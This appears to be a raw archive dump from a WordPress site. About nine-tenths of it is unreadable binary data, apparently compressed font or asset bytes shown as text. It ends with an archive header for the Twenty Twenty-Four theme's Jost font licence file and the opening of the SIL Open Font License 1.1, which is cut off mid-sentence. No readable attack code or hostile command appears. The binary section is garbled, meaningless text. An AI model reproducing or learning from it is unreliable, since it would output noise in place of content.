djyO؈F㽅DP?Z#rIeU tzhE%k2EG].nYw(f|ȸt"QGj~O8?]޴ V:j&MrS>kv2a*pX}\%| 2W@P&QWڇᄊQK qxBL8%ٿ?} \c۟>E.>/>]"w8l~܍"Ao0PIKd>U1YoF87OleF~<|{ՎKJS.7YIGh=;δ0zwQN-iיHLfÁqT̷`^۩1Ym=w%!r+5&? cDHq ̶w:65j(WofZ*VOV l>=42qvHMP$B$w1,"(r7{j"Քbk2iUK%HtbR/=e$B0D w?wr.?MCGaDqyŪ<o|lNaVS5~_"yjΉcy y?ԅ#WK/xT VtnyuQk.+hrfV's%gU0^PϽV64"{ \%-)dHX'M<*[b0KO-` Ep)RZx5T'US&QjOlP\#W2nX`$0?<dFB]`+M)ojBvRrx]$f 1fGkRtP\T߯UzC}-9  x:+dL1Eh87=&A?A { =Rz+A:8}~ /D7[ݽ^;Gi{Aݧ/=`#;~ۥyǛ[){8h {35"Nf%m!g>g>D&+Yy,nЊ& GxBN?FLzNxvz8Uh?m/ZF-XN&Vzs ./J\g'FzqY_+pJ$FH(W1hd^BVE,7uF1+ kg1h` l'BQ֮ݖ}T6{d֩\/F\iX;a(J8jtsři4>o1#[YKܞRRKq4O*Dft) |oAv ?&UKwA'V~xɀ9Q{*_ƙZ"> W3v [t*`H]ܟԪ@H%=~d@\^Oc56Paww |oa'yɶ9H$nKnU36F\ddcFʉO5wucƗml+z=\3fWj-tPIkYOq wc>mxҤ,߁9P|¬Ł IO33'v-{m&:rrK lc.\՜}j%^yVPprKhc>@!(B ~3 cn ag#~K=;bV$DYz/09zoww3a2˯64$ EHdQALP@Y <Pyd$L@|hzX?t: Vz'wl{`ez5V89: 1(W_Puu1~6h [Dr*:NXǠWX/r9nǯr JQQZCB|4 L] O"rӜ",+LKjҿ$/$b7%3bI͌vowH9'#\`ˢ-}mq$A/@IE\.~7bn$p@ z>eMM%j,{FPWureLxZ]\y+~ Io'6 "X,p>P9yqq`@rOl{8փ okxUVh!Y,DA(T$o/,' 'mTuZzT6KI3W$Z%TիL1ֿ\`/ Rj%tC7gV橤y2PK7 9*с>]1/onJG̀!z`WR+k⧡#ě$n A@]"#GqMEbHoyf?k*3puwͪ~d[LhȾOk <( >O\a㕉I4wxx7dw?GSɢ7ڨՋXj=UzsH.߈Fe I|S2E"(* 34 ]vk;ۉd"dxR#X9X. {?ÏRp<֚<&ltѺ epv>4zr,Agˇ<+STtbQU7 "RHf]&6 ɛb+mQK2sWƑo!5!wtā/CL}e\Jݰeض⒒W.R]KojdsA~Q`WY Id;婘,@܌պ*1aP9/.F`n?Zn '>=8eV7T~~]ZT7֖ˍkYhZv!$5v擲pOfo=Y }l9,8~aEO< ?1OV f#?y?܏uc?~ϭ ON i c;I#ҿ-6ˣy RTH9T~ F+И,3 i +,&tv!p31߆^kHbUGןxՐbԊ@\nY=ԓp#KhMF';6̫qp{ v/^VpT8,e@*:A;{Ѭ|k,] 6ECWag5 -ůQ`92޲˓CKd ߞ*h gg'`hƞIˇi}}C`GG@щf *@#K0,$BPz2#y,YSdY&,ǟ' $URSe \Ҁs a0_ޟ7Ξ,җK*+u R0dETr+SJe >]-R%!LhfIV Kϣf)v [Q=ڲ2]H:G |zQw;ن!97Q r(1H yf2o(@2?ț.v~8NRE5 Lb(/A5:6dtk9tQ(0}6=@Yol6m>e: ׺ |8j!H$f0-r3|3ȫ|w"awϠyWaDl'j., E-25J (o~܁ g}EV_5.T:K1X&pCqL)If~+وP ߟsӨtc5@rr? m3Gn""3?W9p2&[H_KN,Bg7tuYhd۠r~.*1f*X0GG|v%X=6t(`qW*RHD orL&'g$K6At4lg]uЩ[~?Ue%_mUtVFNCNyv~fall;+&bs׵Ef a_V.BNSo:cܢ+Dΰ/vmoo>!ﯫAo9gŬYnlϋw'%DSw_c{Lk9iZΕQTc=bkrXRld]#X!u2499Ne6!U:/%eI]{Fd2cj3ڲOX3" B/_H;&A|/?V(rc8=ƒ%U?^uwLi&@'T*Pfo~wt'frKpz .8z#IC wr!-qt}nYsթysݾ :¶jPy }aozx\HȫB(+pm\D"I1V߃aŸ825\R΅4a\hX6zfÓGPh)}(NMûѯqn[cx܎x+=t[x0($ Iͳڕ"ϊ5A>r WyLS42X"U7KT^NN}7lvhK-8Yhf_=ٗǕ˄Ӽ<ȹ, g̹]ʭ炤~.ϫ[~HW͚Cs|jNS5鬑5-P3Zk峫Ł檸y#|! p]V wپ^XPEs%^3Rm4>wqr;ol݀t!al'e`yC#Nz%1Jʎ5x}mcߠ:Iq¹f{k?(RNTeXh~0si9/So|FGdsbv9'vw:vy宼?k7ڴ륻uB76;vw{1ƛiݧJw،o ϧͱ]qR+LO|5zzTOgB6._Ŭg^ZJSoTz]@W{;K4p<#>ϣi 8sLWKBM9É}.Ib87Ɇ'?8E왺?0k+x@8>=aq"ib@FɃڵT )>}_S[(c|gYgrxkw:R@F#8ЏH" 9Ԅ.ý;{F[`^6려8 ZH'$&ӛ+JsȂfn(T(VW+HU%QhQH:-J^@TE8 kGebiՊy -DBiYFqdP dS ;22ol;σaˮ1#l+DΔ:5#6;LI WGK%@~-9]Ѷ5})S6~d|=( *U[n9$@jjQ+353Eɡ1.4T rawvXFpktV}b3rM6Ą\E۫@*qvDSd5lY1f<t"BAZIg:-t /I}X[XHIr^/DQ }\4Ge^;"Kd !_bG%Ƭ̰iБ{I2 ŲϽ`òP3!G꙲rG]yrmt&&ǗS ޾O; ;3E {}VC>wstxlI!]Ơ/KɹP0;hۓ'&&tMʒ#GM^G 6>X>){}LRr?y"󹄑άi9ha!%s /M3Qץ#rNGIi ,ƭ 2N M 큘9n*G2A .77:ț_\m@h];2ŋQ(B(Ji!%rp|OrW1#vw`9DZ%Dλ#yoI``t!;^x☠47hq$ζ%xQCKNw]^]s}c2{Y$wH/9N&x6HeO;|j!K.UNmivlaV A(#!C+ -1!t#>V6:(JLz5~͌X-3P)z{<g} u4)zoZֈ_I>Nj P!J[Rb?WHܝ.B =;}oԥòWeM `fO-h0^NlNW*,F bMlP d3l )2fsbC[#_;3t Yلz/@ +#xØ9\}#"{4E鐧q1Uܳ3Q(,:m`<L~Ka,o[T1n,"d̰QN8xҵꯉ!O2Q%Q=)9 * 䪌14cl ۱ݠnٲL Pk>g#  il~GK"F1~w=UHY1OnR.fZl! w*3gE]Ք&H;띩àJ}*_F/:]sdinl͔*S.L5sl(Xyw.kAҤ:UR fɰ & . v57/V4݆_;5mF(6$+c74aX}z˥ybb_}g=x=f^c h4mX0CQpmз+1wu|` Wwrz9I;3"UC)j%i[q\"}orXUn=eknxmŭ\n⿌Nh70d3iqiP#%"WGqSn)Я"Y'āV~\fzFԨH5Pc]FӤ2ζiRFj-Fx.fTf$=J((HұEbȦED9fjE!JS#X|Ep_dxS8ўf7|@@ę۩S):5YKg>3L&$Tp1҉L{Ƞ$Y^@ȗXN?a񃠡{>evb=jj*0B M`OJ+wZ |w7^RM@jjI`W}fEC&mi! }={#r6'^0۽2mԶ=D$Gƨom5b庪>Y/xqepc@UƽS"qx{F 0Ϡd&Q;8+E19b߳]eUh { QZD0i]7Э!g5?BJar) P"g k .TG0]:K@} !:Ws;qzxh1>O$քu$ xk-uη]6Ԝk×zL=wT!$Lg3yFD,1,;?8Ah )&6HNxltӈŃ |RƳfwVp~{!QĬ4@bp7 Ja𯨧51aGx:"2apۂ5m0 E{e: lG ;'8!g3XS+&qq(E]=3c\ćG!fF^l \7*?n82n%sy娻MvŮ+;&fO$v `6ݗ'L Ru.= ւiJY,sw_K(·i!4 t@o3-Vۇ¨*I.da}Qߕdh%˔}t`L]6ǃp몴]-×# Gu)CQkڋײO; d@Ck-o䈃1`B3 a xd  Ey}aCe0P^C߸]|Mth3SR<Ľ5y yv(=ٴ܋(yֶUkc!Vc]Tx_|L&%h@ ֱk,-Ou7w`&ҙ(@ӵRF*=^ߚ[3>/N9``yLԍc\xc ~jD-gCtS`d"P 쐭RÕG%۲~y'׏Qs.'VDЈDߩ2^?U%<#A6v^X֊q0^]%9Rby\0Z2Yk04¶׍/@3O;x>fEӠ0N j0Qc\%Xbw-rBg48kSM ψ&3& w#nAQRN9MyKDT k.PH UE߁غkF6MkIߏ au s `+|#zQ@}GX@8]$eq  D/ًz,d=TvS(8*D_J ^)ǂX9`ťN M[D eП1X:HӤݵzbIx snKV3Mw66P)z] F *x?2PVQvrKbV`kW6± U7pȿlֽ>:dQ;DPa|7jyysA/~lݫ2776F6:]a69ʃwd_p~8§PUS4%}e1ja@ t׍Mcx/;LU`xՈ=9,Fݘ޵ŬK`k=tY]I SG檍o~[Hߒ%E㴏H4~Z,g|MCׇk}l}$MJН <4lp 5u@ N],1b@_5`>]>EbN#7\ާ#b@ൾ)x{-Aņ+( x?Ce}-@{koXdwQp%8<\~ :e+\ 3`ZWi;D(ax5It)nYӷwJO_`tKo\_OF8lA}Tf`H4Z䤴6|Vg  n-1,8m@x0,z8y"0ClZZ6mA,p͟!SBQ 6Y(S>qYA7&$oX#̿(mSK^`"Bv(IFCGTG۬/qCuƅ݇u1_>[^e6t`ZZgCP hq6mpOXսoZ F#A\)Ɖ`Mv-מɹ a7nEοC=(oaIhgoc߻\ n#hR͓8aLz GVFsܛ7/ >ElMӱwv_j,&UH9nbTHqbwz/D1'͏ Z<,ㄆpjf>s NnI|X '"." ׃nҚh%%4VӔR Wz yO IȈjsP fEZjɗ"yvRa\)L,1@8@au!: c8nl5ж L`S0DZV!gH".;>4GAG8)Ct5NFtP5ab2 5ߠV˫Ɔ/Ne_NkD#׀[PAvv_Arj9uYV8# ̉ 鄄3< ] ،D 0vqmѠ- K/-Z5P3޴xc_5xXByA*)uNw%B%3hEnTDT*Ɋ`Qeҹ<{rx bgnqCp@W6p*:*Y 5[h_eĶS}V|Z{YGc}10i`-qtdHz}ʢ@KXy0V_6mYt\N 'xC&F~v3N FT![ k8ϋJf<1Ie6\ǖBi(NT}/ Uo[3WI5-7D[97%dҝ:B|^[8ta~';auhXG-2xKڌ3|_vu>|Ϯ〡Hn_!_7huL4-Uto.P30?Zl̍RK'e7{.VjUd~ A 3ygM,W*@oZn3  7PDqyfeY([r] ;/ cyt 5S$ZKҗiZ< hAv+Qy>RtCoX+俶vcw+E`.ܼ omDT0(0RN;r!Px+/9tm<٥ɻ?89 1kf(`״20tR |SА#v8֊U@'r賅g^nEjD6ң?,-W~ۢ!6|`۬xY`OџC[M~!|?]<8cd Z6Xx1+ TW+t˿T2#_յ#HX|$$B.h;}j5S$";iNjxHb;<~SLq>PSAƮU;[+]"*F6Y5/Weĩ艩霞ZOnVݜyEFa Hg hBc5]w$XuCnu8N-)=N쿂~'%lh:`﫽vb%A|Sb@u|@lS9k|>n-[yʒdD/,VmhU5,kΌo?xRVN翭'xHO~`)U*ExjS+XC`&qO\>^^Yi k- H Hx/h)!CgbGʦ{`y7])|{Ca$MPMl&|\P{?J pL7pZ 9@QmU? O ٶbM|1bej * D܇,3׍?2SMۣ~J' ؏澈TldwܡK9A Mi⾜ޤ>L!|#pìM8Ll^G{2O*C@];X5[=?pz:L & o+bwLVBh7~ڄ@93<oHg且DL1{FjObu!g)ґw܃fW@4DwO֊ 1#yôמ\$fk:0X7GmN8D4S1!@%[%q``:rmIwrq8{ b32~\HFgU;m_Jva5%2cuR:!6[)LEq&zHcfso iHaq9Y{%wix2SM *KTxn"9~.A`"yV&48.3;odzՑâ^.eۄM !2 ?S_=$?B%I (>`Z,{J8g`"eaLF!VwoQ YGAl2i_B'  _'HӇA\,bfwx&&GX} X-Kk3F(15'N3Bxm';n_Nx-֫!RvN#qaqt4fQaҎ5_vz{n0*2RqN-,sp9-0KcPn׬P.{CG¼U4x&"9sbz-I:B)ؖ(,(gIMLxQZp+Z 빦5f J]_(M:dypV3ȫ}1Ez}L IC0)tm3K\@'Ţ8 QsyjV&~<~N? /EMȲ\5_Pk =!*(d"Zw/NWTr~Sc2j5I1jXTDj5g_!~%6Vn(s UìdB%`x TZ>4D: / 9+Pz.w#Nk:ӁuA05qM 52c1t3X5 ֨R<ܱ_pvAY^lbChM}w_窯GB"m˛ XWz.fߘOM)tQܭQ܍us=_d"WTN'3fgLuh!R~I6czM,MuMWs.}$d+)_dВ`vN/<(~m[t H AP SGiµ :JIJJA;Pi/N|0.{.z0aoc䤪뚚#I7!Ӌe$ #Tj! M?&o9 5| -#Hb7өH+*nEjbQ.t3I]/27-BjB H*- 6bW$۞Rkx5:wuB!]mL-20D7hv> fޙ8V]d3 |ؐ(l7eDD1̿ ' ގ?P`<!&YY#=5O."Oț*BQw!96#T:(bNs->\vȞaΊ/v~+iq#yiJ|^FX4bv%]iz*ss4AvZ'nWJLz\ 6 a,\p:aݴOgi/IDIEQ\!FzN#n( {bԔ,!8OǺ݄ir{b|=FPrWn(93Uw#@Yˈ .DtOVž_ Kno֮gF#˵A Ŭƪ 6'x Au} U%8L4.5Z7s1)%2|Tgi<2s/ݎLm:AU>b8]YXqK]a҆#sBnVV#P.r"졁 wtfb "TEttT&.`IB8)VfdA5,1^]='ʛ+Kbvd2A(yn] TYBS! kQI$!fGꄦl[V[LxB0lLݔZuG2˪s]+X,9欘IbeAR$Hmy*%?vTuknW9"E(Wt@mT;Z|74ξ=aT ow=mެVa0dYA{͢wxfCmZ3-v;tZ鬡:6k3 6cy/'L裳X Bh+CN8cƝ'`*#WŃL˲RC}yP.ƒLBya )7OT3(8l' dժ7.*([ӨQeqW;"n8/F+~*sd<ӫZW o@{|F}f܃X6dTN᳕wyb/"JQFPcyƒ~'u@~RS]~oM:D*)8g/>O.Ʋ]\PeR ۚ>=_3ڶ>RQSkeU71c>G8 iW~ *9"քVB=Dhn4` [ao|O!F)auR'23ORё Kuɳ7sAdYj6_[D: pc)NX/BVo^;z,"Qt!1ȕ)TZ#=%7H،P86-4.(>m2W٠H(&1c4x|edBNKT*"*Nu.N0v^ xÅC@E/>/ceD瞺8߰1̡b5t'ǔy.Ʒ2?bNDLE)ĸh~N<̀-?xt3(8<#yVo)-Dni[ǶRm}LsQlvydiɒʒ n w2Izm 9E}9U۲I9(  ۋ ;,دZb֬o]&(\;gW 7x{0ko[%Q9gA 1aNtM`TLI/1&lY(Io$~Xe@^+02k9@r:IbP0@B/iQ0{E83tDM4ĨV6l̩#I!r;> 3-=hawNC闯IM߰o_~9(etD3 e9k{&xscKxS˽o\~)y=Fvո7ٍ{ovw^F"PMUHlٷSkFBuhӬa [RWTD ?II&{I"INd,/=ILdJE;C(c]^3zj1WUT25(ґhqq6B Td{RW2v CWHۙZ!x˕7Slj3Q)I]C$°d7'pgA;U<Y(fT\>4v {pm' <۞*;S bY83;3j(Ψf *$*T20fgM*IOs;g4$nK㲭[a VjƉ+Fq-E*}HL͜?8Z3Ob:LNEDkӆQ֌u(;AN.Ը \cE:r籥#ACl^N'Z!2FZtζ%" Alift=ז\6N,Z>#OjJ+F%lfy=s'Apm15*0$PUцjm%d~-ޏ!`+TӍdFpÚgj5'*ndndo\_-ݮU8xs)!ns~ A%4dߝRC<= 1"pE#XXKʿquM1||,bb2z|n +ådHN)С&z^HKԱS% EWsHVzڑb@ʿD:&' "ڐ1+1dNP!hl^с9㊨X\*ZAR`yop*j7y!w# 8H»rDިCCU sJ^8HcB&TM9-aPLC[@(UE#qc%kS(6}n^$CSwt\.`͔Qs]!th#pa݌Xʔyfb[eZ.ͦ r`ڳ62/{њ#76]v?*ginYC"4( M˶ y^RQG h@|J.Z5Cb X`&؄N]tdYG]J >BGӜ% 1DW >ӉxG) 5FV${֑$pz 0}&<.pNv:xw[4 ̰ ` T^Bvp:D:l}e>v`ٍ\"ʢA0?s5 =אJN$V"xik  t (+E/ӭ`'}%Q) >.2cۛ A?o r&$ߚ0>yYҙ[ew+R~/Tʀ8pvN/`6J}zz9v뱱QKɾ9crmИ +!<8lf>l)*1gN9?Nڟ\(F1 )?q6|3rS̒Aރ b'^{p>Z8A䍑ԆuIh ib8[(|w%9g" h2nVʚ8Xc>dHW<3VOr,WOw!T f݃,|J}fktIvuSR:(U T`zxJwOl^{q̈́}/jyj)G*.o38g4- ^ (G^e\^ `oVv;Wa1ehtm%KUn^d=k.5,;+\Y/T!C mO,D.<1w4n(i𓫾U]Eѧ}e?cz=OZݬͨ+kòK9A5U UT)حV*!ԫHKq"T^DGy,IxMy0 $C=c2TU(R\On7$:)2rܕ%k06`Y@T(JS=`jVr;+@ʠG0 Be^2 ؇c̅VM recU+d8H)ЎMnkԿȵzg|2+kf絍0˟5gy"DUwJrz1Y,1΁HٜPˬ1lA'OlٚwԶVz&IZk4)Z F0lcodF#Sݳ<Dx{ ӂ:@+'vF(4\+pQ^KSpw_AĈeFڬ$=%i`7{3n5"_ pe`1&*:д,v}x9BE (3_fh{JoZ:|~mc kڃ#3>oWEisvV"%!~ߕsa!@[ :x^(RkCC#T $`8 u")~7qpHg vCߤaλT]XЯ.Jdb1}%_ NWCYy'ў/Wux4O!uרo( y/.-u*~49؁JfFۀ j.az|^^8=%BnmQqV@btVEٵ@=; ]>U2:Y;P m{1ONV͇8 #8VՎY\ǵtK0h>O" X?EqW=;`a&d|^8RA/L~,'`Ku"}< hJ {<>ʁrgmXk' u< i7U#{!X|6H m*{-~'{7F TGEde}zZEIŒi!pgFVTS\D,˜}'>! ~~U^n׫*G.DkUDeD0=56y B+ pF&()q"%9k٘倆9YZ`!&HVM{ṍB 5P٩O78" du=Wa vFȣXT@~S_q]fw.ˏ?cI#?*Or˒\{75#oO.h6Q5#2e')ndjrfq(WVQ*)Y-E:"}bu\AbN0 _Wkׯ,cֵ݀-uok) q@޾{ȣ}Zq 5 .}@U)'Sa }idDf4V^#cr#/S erk_].Z jq}iE5c@;{OIN,KuxM"6(qhZ:τ3@#JW[j?U#R7ݾImk2'x 2WV`mq,4>b]N}&" ~APOڵx"ٹ(8iBG/.gLvT-lJt /pv;ެ(&ɾ[mm>˞Sb*R=|sHqmGTLW ,%AC3 y~6p?Jb4d iyk|TjE`K^Bj*~M7{1 ~ }鵋T?$6) X|xS!+ Jd$l( 1DǙ3w{$mHfFj}4*CbM(b+C<:NBmFJhv2^voY-c'l{"XoЇ,hK:<]XHI*@h29 RLӆK|rfe`Uu/ $60i/88(A>5_;DMTnhY!R4. QVcA X#:svڝRDv0Z;xyc DaXlB(.T&C}-M"A(Fz`ó`ZGG$2A5X*:̺ePj!N S(E?"DC`˾d۱.h襏nP%=䊏,;r6DF"V_]EZ&u 5 3MD+Qx۔(k;iB՜C1a & xVyH֞-6ȉ-f͕-ThD;2c" f ЋJɭ^#`E \+f7?H1\KPg(KB %Ț?}/|Cܩ u Ib ԄpNT{MnO8?^K X3@ c?~~׫Ne} M;U˂XQ4 ϦHK5M) 5 k)Mj3M%;yl2ֆ/sQ_UJyC 5ejV^%tGD{ʜe@kvv%y%`<#05Q(yAHA=G\vV˺bYk +\zYayEPcMݬ.svF}I A!*5𚲓"CZ"!NHsɑuzA`gfʹvw-L0rlniWJ^9W}lyvW_W} PUAݱA9N=ZF#ZKI1̰"洬tȶ |a`j-#&Y7TJQa5&xP*zT-W!AdYgPw4޳B摓e^(n6PCl{ax0"L}I= b&:GvNFPs*e0&j-/1 u CTj~:vSL븘6x>9CFge0eou6>$_#ј35?00@Lưbd%!M9յы *Vd[*N?_ R^![9!FM*Hy1,S2C jlTbb,aN1b9h@;kfk݁ s }`LW|!?Gp )uS)T& ߮3댦?9݊i)?55S'@*\ 4u,:8L*w *\ D8xyv*_LhͨX[{V^RsֱYRקn&_fRS/'B*dZ?^Q. 1T CYq+PFꋿtKوE~@ig~p#s[Q*P$o#$0v|ܗ[ J8lsPsghd6r>kkܰp"sgwpcTLv;8H3N@hP(}5 7q*Ƅ  Յ+7H9 $EܤvSޥe~yDNEu_O*@4V-(㚒k(nMqmBY[=\ƨnd;u'TI1fvm x n kL>Fc0X9Qv"gGHI{/:]Wg$*"`$8ދW#"K vf,IGB^NyjPvuQbmШ]ou=dX0TV/FrǓ阛EzVc&oa(E{uZP[9u+0ӔgBkUMq(3 ç1P;󶌧Q!J1k|XJzC 5Gdeҏ楸ߦ&ƈ,5>f_<*ၾ'K ˲*Kb]`%I'W؊5o%0Nk^ҟ7 kP}[o]xyRm4ׯR#j0JP$EOfxCj<^Y"f|1AM\?fͩy09G/y9`bN?At9*'zt!ЭޛldrGх?QVt:__2S(VPg wUj<,5Fbjj.LGgqRԹұu4.z \#H;(x%p!!X3c8aPO0 ?I8 ⢬6&6IY9:W(F*{*3BsIKř3tӜ@.N\K?ykv+Nbٟ7Ꮎ`ܴ 生 m[avkP'ӌ/dfIl /)no 65` tSp}`o\xoO 50yS Nww 8z%<sMnuy)m‹!;CvD|>}Qpt3KR 1xy1ݾ;wPuuO$C\ ;3AX\k28 nNG/:Iṣb-O&̯WcaR"i9R=8IjJGFv_~iPsYEPlsp*\ve'Vc^fQ&׈:`J XE`?ܭ<+^/(\NW4IClYMv_!5v]i4&^8gE9 Ne[^(1/t"ΊOѭZ+%w{n 7dՋ-܊͇Xw<lV{jI7K֞8[# }΃<ݷ7lAuh,>opA57бKrXvn>~-ƝvJáư`Ө^yy =D8L|J~6|H_VC8N{5x?4x[mge6mT4{ϛG`2 Y'&^F䏣;w WQ0IY9 &0`yOT2l?X o?T\hiJI% IOI.;f%\k? t?yº5ȆΉP`:H!Q!_#)PZm=C܄+&s#nQg%ǃ \CDB5wd$~joy54CDlcP gkKgB 2.#} ۩\e"*J䬇&W Y(4S7b qEheж"qpL{m!?UYׇ}[#E3C|Ȅ[ Fˡn"L۠ժo]OgcbdbspЦEԨ%L̞k2G "G ` =ڹ+-~w9:L(MN,}C i9JH A,E2uck N&kb:7 cO^$zn V!ڏgT%:\3g:\֖Kk6%Bc]v>IZv3M}uk)wO}'p ߸qxq^]v9%0÷ꛊAs>$hV?=VW\pi~sBxy `t8 Vŀ鉎Ibr^lX/ct:k4v lz?B+xC1S#n{+;n)¬vLl%BHXr9@Q-դ~ .kl r c TȞޠS H'v:\/c!H .Fb';θRgbřOT5*gNP?)M?eh;5gA+^݂[0\CPrC)\M+f|**+K}w6hiJBJ1IxLWZץ~x0,@GsógHՑ3;ۻ~FEF^pVW1t4ǖ֖ȹWI2oh^q}h?&ٰa*ow6ot|A2zz d'-H(Gl)Y".@n٥y.XF2^6EY닂qRjɖ!TT9AuHjpGv}+^5*>7QxS+^C+E]0]d`1lzGj8gpmednd^OSjp"(Eb3UrL]̓.2bX-~KiA0i<ԡ¢&ٞf_GLyd5v sgՌE#sS c^]IۿA< b1h=jǰ8gO$<_ לZ,G%~ 0v>qpݬs{U%sSֶ@y,B31a R;G)іEi6qBtAm, l3# C QR)8`ZMfI TC*CndžDHЖYdA,Fɩ#NMb@tO!UBg.O+u7!C3XV"tMbEQ& 醺I#Y&(Z hT3(|L34~0 .a*4 +T/X N x#Y.TM (J8T&a9)0$ =BWU:P Ձ ekP!/@=vjm!}*<.dj&>ORzSzzxk/`,s`& Շng^.7,Kk} tB}9VSb?,:pGC, 1\?;&RN "ru? ij *q#^n͖lOgVo=Fx;">]d؂mZYo vcІBPJ`(Em @| iX'v fYy%/oNb@rJH`ԣ kL%;U67nf t1IiU\a&Sybj 0r.=%g5{"a@5H&6('E&¡Ʀb`$}VvT2R1!^BIl Noܪ"8aObQ1j4{LfX!d97/rL`HaU֝kYZr"vI%ߚyxvK0P%bȝuI 8 =AƊSCrˬLW)Ÿ Y,qsxV Va0TþdzZe{xáPκw 1(EgS3'%}hS1M42ȤYՏ1 $ E8NɏhPŊMoՏ v;4EY=7I돐 !:yn{t6bvl;SFRxϧ@'Šyʣˏ,BL1yohQx9)omx}!v_q^\O|>/u#ukt"S}5 oϟCO P@TQa, vܘ9c`I05G%![,BBiSdO27~ XafZCMT ΈHz}-'0-ixcߕMhuԨdJdWj]H=~Km߁',y-A~XIz No2ÿ^XX +  (Dc:-ioa ߅֘=m_?tooнwOFl Io;?>0cݾdl&yZ^ )舕 *vJ-54$Laa7u6b\x$u/leGt-0wtŃjoiL}9X+˳ &KWUXrc.؁"WBr,ۧ5*q9HC>N̆PUw,\I?ȠPĚmm,y8,ӷ''6;==w$ds׽vGӜ먨w#pؕN0/ 2^hagwwJ  ̺=Jvٓq'*:qVu3jxoLoAbV갢Psno5¸G1jkZX.ί&td ].V)`ns3،䜤LhHχcJ2vײ3wF[>pXOw~ǁ M$u.AQ<> #&w1׏TH>לYєܬgpvFo{)Ⱈx;+QA\-^SXfhqʥJVy C/YRVR!mvB/é=榛qP\xY)#%.D1klJ.F%3(cPIڼ^?090Wύ.G쪂l5~ 4})|>h ArvuQ+j?cR$ڀl̵u$-|$#B8DR![#Sv #g4TN[WqѰe%koqtfK+p7O0<Œ t3& 4wD,Td aȦӎ@D)sumnAZ|b1%^-gpB)Ɣ4Is%Ca9]QWr#Y#GZI%}?(utѠdOwP{ч7d^ۃJ7X 0QMi}}ob8|>X)Kӌ>fk9K9{^p$QżTe HH~| Hdɸiv_ʲae:Ϊq2, 1çj/d,_v2j)XC2_!!3 S};˼2^~4dVB^l>'Yi*ߓOOF9t5nb}TKy~yݛEW*-)= xD;WcjOl$qQL_b*lF0g5m$) f X0ηH;A嫷WBBvk<w82%cLNĄ+yx<&ⓠ9y$wZ |**݂s},sqpڰ[Q, @дR@|RX}XIVV([ڡZvÀ n>JL't,V7qRU,E2콈}{GyHiJh- 5eo9V"J+H0nxn,dH/r}{^n+qI^e ZA%oڷo>U?#lt}`v u%)wfo|5Gs l"=Uom`$#H>| D2Z%C v5 ="4@Bw ?5mxJ@5XeQwPU9yT끨Vy|woZA^GBamU R(RgÌ,16pN4DFQj]gؐ. >N44tQF-hl!4xJ1ō(C~JuFײ i2uK$GeWz?n[h0-xcŸE\eгv%~h4._,e&)Yg͟yΝht cЇ"cQlg2u+It| A78R"T>ۉkڙiJW8+<7G㘑NM)0VUϏobKOf8w^{E. 'IƌdZ/^uRN{FϬ[(Z!H0 LwR O{_σ⩓j^wضcOU lυa3o=!_Xd's9'.,m*8"VsdFTInr:Mr aɆJɌ<)x`ҥ(cϠnNZܺkqԃS.ѯ&|=F@4:#r}RHσGeR,g]v rkRs [%$)f~p6@V Sށb.,ܛ3myPyI*_>?otB[TԌ)0Ny<ſڅ :߆)ޛMk=._gW(p19+uSTznXO١MM˥ 谽w=$}Wq`Z놂oE֒x̏nP&ˡ{ F>q ͷ6?UOZ+O5!pṢd !P"6L}7kts Uɦ+n `jjn'@hQ5lAv?³{%8't-'NDnxNsC367؊e\RY|*R| dTեAɆLcHFJuD/7YKL>M>><@[9z{qT/lڍ9l#el8g-M,iޡQ}{ߥ;#e8T=$US*%,=ڴLI̬Ue=d%xBDȩ@IҦPl`^7=aZɦw۵%Ѿ =ϡ7zMK݀ S- ܍͌ʒ\ֶ!R9TZqhrnuJ 6$C+~dΤc3CLS*Aά]TО  o>z5MKOQ H5+5ڙ!y r<9cm!<@(pkUURI.1@+bK+WȎ/X4:Wm#}%alF4{ul|_۲jH!o FWö-˾U]pL>C ۱_ AFA6$9#Բw=&d J)2 ւ$֒cTSRkVT5W{orWbv=O!@q$oc4EĨtC*_s@(I6/X<ޮ1a諒ܸ/btS3oǘ8ptӱ;堙*ځkv$#<&B`2RhX*@a@^$[ ˼dC +&Yjv. CkHC1 J{iYW5 C'FL3F?X\7R3FɃـ6*;e?藙 <#@!4#F"vNb97$wh7?wL /p 1 9\vf .(Z \hk=<-bp7]wC~XJ5Ե\~jm.*cM6~e825/δtxrlr,tNU-G< *RD2*Tj,R[[ U OMaVԪSo4=$[(]Vm-y%Q2u: H3ڲiۮ,p4S,v],ЧTF<{)Ӿ=ͻʢe˖*[n{gۮq;mW -`G Qh 'Id Fg"mAɢs]*QL8H bєA:Cbk}l8 gl njFKDS%pϢD,DSo"'k$X;-[$焃2L2YՂHJ~57b[3,}2]{x\0̯8K0hYc#H)Ue%N۞玻&䁇/$ A 0B a-Mv#!gm Dn1h$i0׵{qFpr1Y%ԖxuʺvV#--lѴm[fҶۮۧމl,-(\_Ǐy;AA -{yX:Έe^Z# hP3TTM7^[W08 'x46NgO7<^xnKX7hm łY+׼$݉֕dȪɚEQt|:[>_#gj}qw=*?Pbz0Zt,2Yj{8Y kcB(K'B*WSnױ42wh#|):BQ!8xʸ-Tm2."KDPEcT1Τ`,T¸Eb&]_D\Q 19[0[F=ůPR0=X=.jMŬ'< `p `8e<́1 >xUV>G3?޴ themes/twentytwentyfour/assets/fonts/jost/OFL.txt000064400000010440152335264760016341 0ustar00Copyright 2020 The Jost Project Authors (https://github.com/indestructible-type) This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: http://scripts.sil.org/OFL ----------------------------------------------------------- SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 ----------------------------------------------------------- PREAMBLE The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others. The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives. DEFINITIONS "Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation. "Reserved Font Name" refers to any names specified as such after the copyright statement(s). "Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s). "Modified Version" refers to any derivative made by adding to, deleting, or substituting -- in part or in whole -- any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment. "Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software. PERMISSION & CONDITIONS Permission is hereby granted, free of charge, to any person obtaining a copy 